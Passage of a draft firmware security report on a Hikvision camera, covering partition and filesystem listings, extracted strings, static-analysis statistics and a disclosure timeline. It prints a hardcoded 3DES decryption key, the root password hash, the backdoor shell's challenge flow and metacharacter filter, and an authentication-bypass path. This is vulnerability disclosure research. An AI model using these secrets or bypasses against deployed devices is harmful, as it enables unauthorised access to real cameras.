This report is currently in Draft status. Static binary analysis is complete for all major firmware components. Dynamic analysis (QEMU ARM emulation, live service testing) and physical interface testing (UART) are pending. Prior to public disclosure, findings will be submitted to Hikvision’s product security team and optionally coordinated with CISA or a national CERT.

Historical precedent with Hikvision disclosures (CVE-2021-36260 by Watchful IP; CVE-2017-7921 by security researchers) indicates variable vendor responsiveness. No dedicated public security research contact or bug bounty program is documented by Hikvision. Disclosure timeline targets will be set once the vendor is notified.

Appendix A — Partition Table

Analyzed: MX25L25645G@SOIC8.BIN (33,554,432 bytes)

DECIMAL      HEX         DESCRIPTION
-----------  ----------  ------------------------------------------------
184788       0x2D1D4     CRC32 polynomial table, little endian
394296       0x60438     JFFS2 filesystem, little endian
                         nodes: 9, total size: 195,540 bytes
                         Contents: dev.bin
656096       0xA02E0     JFFS2 filesystem, little endian
                         nodes: 376, total size: 1,286,000 bytes
                         Contents: vis.bin, vis.bin-journal, certs/,
                                   servercert.pem, serverkey.pem ← KEY COPY 1
1966080      0x1E0000    CramFS filesystem, little endian
                         files: 39, total size: 25,845,760 bytes
                         Contents: servercert.pem, serverkey.pem ← KEY COPY 2
                                   (+ see Section 4.3 for full listing)

Appendix B — Filesystem Tree

ramdisk_2.0.1_ubuntu.bin (ext2) — /
├── bin/
│   ├── busybox, sh, ash
│   ├── psh                  ← BACKDOOR SHELL (4 hardcoded RSA keys)
│   ├── hiddrs, himc, himm, himd, hil2s   ← HIK HW debug tools
│   ├── btools               ← HIK binary tools
│   ├── hik_echo, hik_cp, hik_rm
│   └── sshd → dropbear
├── etc/
│   ├── dropbear/
│   │   ├── dropbear_ecdsa_host_key   ← PRESET (identical across same firmware image)
│   │   ├── dropbear_rsa_host_key     ← PRESET
│   │   └── dropbear_dss_host_key     ← PRESET
│   ├── inittab              ← ::respawn:-/bin/sh (shell on any console)
│   ├── init.d/rcS           ← Loads digicapkeyArm.ko, decrypts start.sh
│   ├── passwd               ← root hardcoded hash (GECOS=device ID hex)
│   ├── shadow               ← Unsalted SHA-256, unchanged since 2012-09-12
│   └── profile              ← Calls psh on every interactive login
└── sbin/ usr/

Appendix C — Certificate Details

Subject:          C=CN, ST=ZJ, L=HZ, O=HIKVISION, OU=HZ, CN=hikvision.com
Issuer:           [Self-signed]
Serial Number:    8a:b4:23:17:c6:2a:20:f1
Valid From:       Dec 17 12:50:40 2019 GMT
Valid Until:      Dec 31 12:50:40 2037 GMT  (18-year validity)
Key Algorithm:    RSA 2048-bit
Sig Algorithm:    sha256WithRSAEncryption
X.509 Version:    v1  (no extensions, no SAN)

Modulus (hex):
  00:f1:4e:0d:29:36:59:1c:90:d5:90:c0:02:22:ea:
  2d:fa:5f:8c:06:c9:64:c1:8c:ea:bf:84:12:6b:a6:
  ec:1b:a5:4c:5d:9c:b7:c0:07:c0:65:64:80:d2:4b:
  [... see servercert.pem in firmware for full modulus]

Present in: 4 locations across 2 partitions (JFFS2 + CramFS)

Appendix D — Raw Strings of Interest

Telemetry and Cloud Strings (hicore)

log.hikvision.com
recordType.meta.hikvision.com
www.hikvision.com/racm/schedule/ver10
www.hikvision.com/RaCM/trackExt/ver10
call_hikcloud_by_ezviz
hangup_hikcloud_by_ezviz
Adjust Device Time From Ezviz Server,time is %d:%d:%d

Hardcoded IPs (hicore)

10.192.74.191
10.19.132.120:6120
http://10.19.132.120:6120/pic?=d61if98e*b8ai034-59562b--49a411810d50fi0b6*
  =ids1*=idp1*=tdpe*m5i19=8453021-80za03s=9969d4
114.114.114.114
223.5.5.5
192.168.8.253

Database Schemas (hicore)

CREATE TABLE IF NOT EXISTS security_cfg_para(
    idx integer primary key, enable_telnet INTEGER, security_level INTEGER);

CREATE TABLE IF NOT EXISTS face_information(...);
CREATE TABLE IF NOT EXISTS face_param(
    always_infrared, eco_mode_enable, enable_mask,
    inter_orbital_distance, max_distance, pass_contral, ...);

Root Credential (ramdisk)

/etc/shadow:
root:8c9a60a87ff34a9e6c70a986aa4a9e14b237fcd4126f77107298c8afd86248d3:15595:0:99999:7:::
JTR result: UNCRACKED after 1 hour

psh Static Analysis Summary

Binary: ELF32 ARM, statically linked, stripped, 1,197,348 bytes
Version: BusyBox v1.2.1, psh svn build, Mar 14 2020
OpenSSL: 1.1.1d (statically linked, EOL Sep 2023)
Build path: /data1/shancong/work/new_lib/psh/openssl-1.1.1d/install/ssl

Command dispatch strings (confirmed from .text literal pools):

date             ← show system date
help             ← list supported commands
getDateInfo      ← firmware version + build date
Debug            ← enter privileged debug mode (RSA auth)
getHardInfo      ← hardware info (debug mode only)

Authentication strings:

[PSWD][%04d]:         ← challenge prompt (4-digit random number)
Password:             ← pre-challenge password prompt
Enter Debug Mode.     ← authentication success
Incorrect Password. %d Times Left   ← failure (5 attempt limit)
You know              ← embedded string, proximity to socket/MAC code
RSA_new faild         ← OpenSSL RSA key allocation failure

Shell restriction strings (blocked before command dispatch):

Not Support Redirect I/O or Combinated Commands.
Not Support Command Replace.

Metacharacters blocked: > < | & ; $ `

Network/socket strings:

create socket failed!   ← socket() call for SIOCGIFHWADDR
eth0                    ← interface for MAC address read
MAC ioctl error!        ← SIOCGIFHWADDR ioctl failure

Session control:

keep_alive %d must > 0   ← keepalive parameter (timeout = 3600 × n seconds)
Enter Delete             ← VT100 DEL key input handling

RSA key pointer table (5-entry array at .rodata 0x000cd090):

Entry 0: base64 alphabet (for key encoding)
Entry 1–4: RSA public key 1–4 (1024-bit, PKCS#1 DER Base64)

Config file: /etc/psh_rsa.conf — referenced in .data; controls key selection
Challenge flow (from disassembly at 0x109f0–0x10b90):
socket → SIOCGIFHWADDR(eth0) → rand() → [PSWD][N]: → RSA_verify → pass/fail

digicapkeyArm.ko — 3DES Decryption Key (F-06)

Algorithm: 3DES-ECB
Key source: digicap_key symbol, .rodata section of digicapkeyArm.ko
Key (hex, 24 bytes):

2102034d561311120102034d561011120102034d5612111d

K1: 2102034d56131112
K2: 0102034d56101112
K3: 0102034d5612111d

ioctl interface: _IOWR('K', 0x42, struct[28]) on /dev/decryptkey
Auth gate: caller must supply magic 0x786f8321 in bytes 0–3 of the struct (hardcoded in dec binary)
Padding: PKCS#7 — last byte of ciphertext file = pad count

Appendix E — EMBA Analysis Statistics

Module Stat Value
f17 CVE-bin-tool Total CVEs 4,000
f17 Critical CVEs 47 (1 with exploit)
f17 High CVEs 715 (55 with exploits)
f17 Public exploits total 105
f17 Metasploit modules 12
f17 Remote exploits 8
f17 Local exploits 72
f17 DoS exploits 28
s12 binary hardening Binaries analyzed 101
s12 No RELRO 94 / 101 (93%)
s12 No stack canary 85 / 101 (84%)
s12 No NX 39 / 101 (39%)
s12 No PIE 16 / 101 (16%)
s13 weak functions strcpy total 883
s13 system() total 41
s13 sprintf total 756
s13 strcat total 102
s17 CWE-checker Total CWE issues 4,380
s17 CWE-676 (dangerous func) 2,528
s17 CWE-476 (NULL deref) 1,030
s17 CWE-782 (IOCTL) 460
s16 Ghidra/semgrep Total findings 8,212
s16 Command injection 32
s16 Format string bugs 2,659
s26 kernel exploits Probable/high exploits 10
s109 JTR Root hash cracked No (1 hour runtime)
s108 STACS Credential files found 5
s106 key search Private keys found 4 occurrences
s40 permissions Weak permission areas 395
p99 extraction Total files 1,195
p99 Total directories 1,798
General Firmware entropy 7.19 bits/byte

Appendix F — Disclosure Timeline

Date Event
2026-05-10 Firmware extracted from MX25L25645G via chip-off read
2026-05-10 Automated EMBA analysis completed; 4,000 CVEs, 15 findings identified
2026-05-10 Draft report published internally
2026-06-09 digicapkeyArm.ko disassembled; 3DES-ECB key extracted from .rodata; start.sh fully decrypted (F-06 confirmed)
2026-06-09 psh static disassembly completed; challenge-response flow confirmed, 4 RSA keys verified, command set and shell restrictions mapped (F-02 updated)
2026-06-09 da_info dispatch table extracted (145 entries); resetPasswd/resetParam confirmed accessible via direct invocation; decryptData IPC oracle identified (F-16 added)
2026-06-09 hicore ISAPI endpoint mapping complete (42 endpoints); CVE-2021-36260 endpoint confirmed + version in affected range (F-17 added); serial passthrough endpoints confirmed (F-19 added)
2026-06-09 sipServer SQL injection confirmed via static analysis — no prepared statements, direct format-string substitution of SIP fields into sqlite3_exec queries (F-18 added)
2026-06-09 libbsp_data_encrypt.so reverse engineered — AES-128-ECB, key is device-unique OTP burned to Hi3516CV300 hardware fuses (not in firmware image)
2026-06-09 daemon_fsp_app identified as IPC message bus daemon; “CPIU” header magic, no authentication on tools_process Unix socket
2026-06-10 daemon_fsp_app fully reverse engineered: CPIU wire format, 5-command dispatch table, heap OOB write in REGISTER handler (addr_byte unchecked vs max_process_count=48) — F-20 added
2026-06-10 F-20 dynamically confirmed under QEMU (qemu-arm-static): CPIU REGISTER with addr_byte=192 triggers SIGSEGV in daemon_fsp_app; slots 48–191 produce silent heap corruption; PoC /tmp/cpiu_poc.py attached; CVSS raised to 7.8
2026-06-10 libbsp_data_encrypt.so key hierarchy reconstructed: OTP root key → working key → AES-128-ECB; alg_type parameter silently ignored; decryptData oracle confirmed via start.sh symlink — F-21 added
2026-06-10 U-Boot environment blocks recovered from raw firmware: verify=n (secure boot disabled), bootdelay=1 (1-second UART window), console=ttyS0,115200, factory TFTP execution path via sec=secsave — F-22 added
2026-06-10 hicore secretkey ISAPI bypass mechanism reversed: four endpoints accept cloud-issued AES-128-CBC tokens bypassing session auth, including /ISAPI/VCS/wireshark/export; master key at /home/config/dev_masterkey — F-23 added
2026-07-04 Live UART cold-boot capture obtained from a second, newer physical unit (firmware V2.2.65, Linux 4.19.91, PCB DS-17116, prod. date 2025-03-26) — a materially different hardware/firmware revision from the chip-off’d unit used for F-01–F-25. Added §2.1 revision-comparison section. Confirmed live: secure boot appears enforced on this unit (OTP-locked, signature verification passing) — F-22 flagged as unconfirmed on this revision; firmware version V2.2.65 falls outside the CVE-2021-36260 affected range — F-17 flagged as likely inapplicable; psh backdoor console access live-confirmed (no login prompt over UART) — F-02 updated with live evidence
2026-07-04 Interactive UART session against the same live unit: psh command set differs from the statically-analyzed build (getHardInfo/help/Debug/sandbox); getHardInfo runs without Debug auth on this build; metacharacter filter (;) confirmed live, reproduced twice; Debug challenge decoded (base64 → 4-byte tag + eth0 MAC + 4 trailing bytes), identical across two invocations in one boot session — possible replay concern, untested across reboot; no unrestricted shell reached — Phase 5 tasks requiring root shell remain blocked on this unit (F-02 updated)
2026-07-04 Attempted to bypass psh further: signal/EOF escapes (Ctrl-D/C/\/Z) and newline-based filter bypass both tested live and failed (F-02 updated); offline RSA cryptanalysis of the 4 embedded public keys (chip-off unit’s build) found no shared factors, standard e=65537, no small/Fermat-factorable moduli — no exploitable key weakness found; U-Boot autoboot interrupt on the live unit found to lead to a vendor upgrade-menu/unauthenticated TFTP recovery flow rather than a generic U-Boot shell — Ctrl+U and a genuine serial BREAK condition both tested as alternate interrupt triggers and had no effect; F-22 flagged as likely specific to the older hardware revision, pending further testing (F-22 updated); decided to chip-off read this second unit’s flash directly rather than continue live UART exploitation
TBD Phase 2 analysis complete (QEMU emulation, UART testing, live traffic capture)
TBD Vendor notification submitted to Hikvision security team
TBD Vendor acknowledgement (or 30-day window begins)
TBD Patch release by Hikvision (if issued)
TBD Public disclosure

Report generated as part of ongoing firmware reverse engineering research. Static binary analysis phase complete (2026-06-10): digicapkeyArm.ko, psh, da_info, hicore ISAPI mapping, sipServer, libbsp_data_encrypt.so, daemon_fsp_app, U-Boot environment, webs.tar.gz (23 findings total, F-01–F-23). Remaining: QEMU ARM dynamic analysis, live traffic capture, UART physical testing.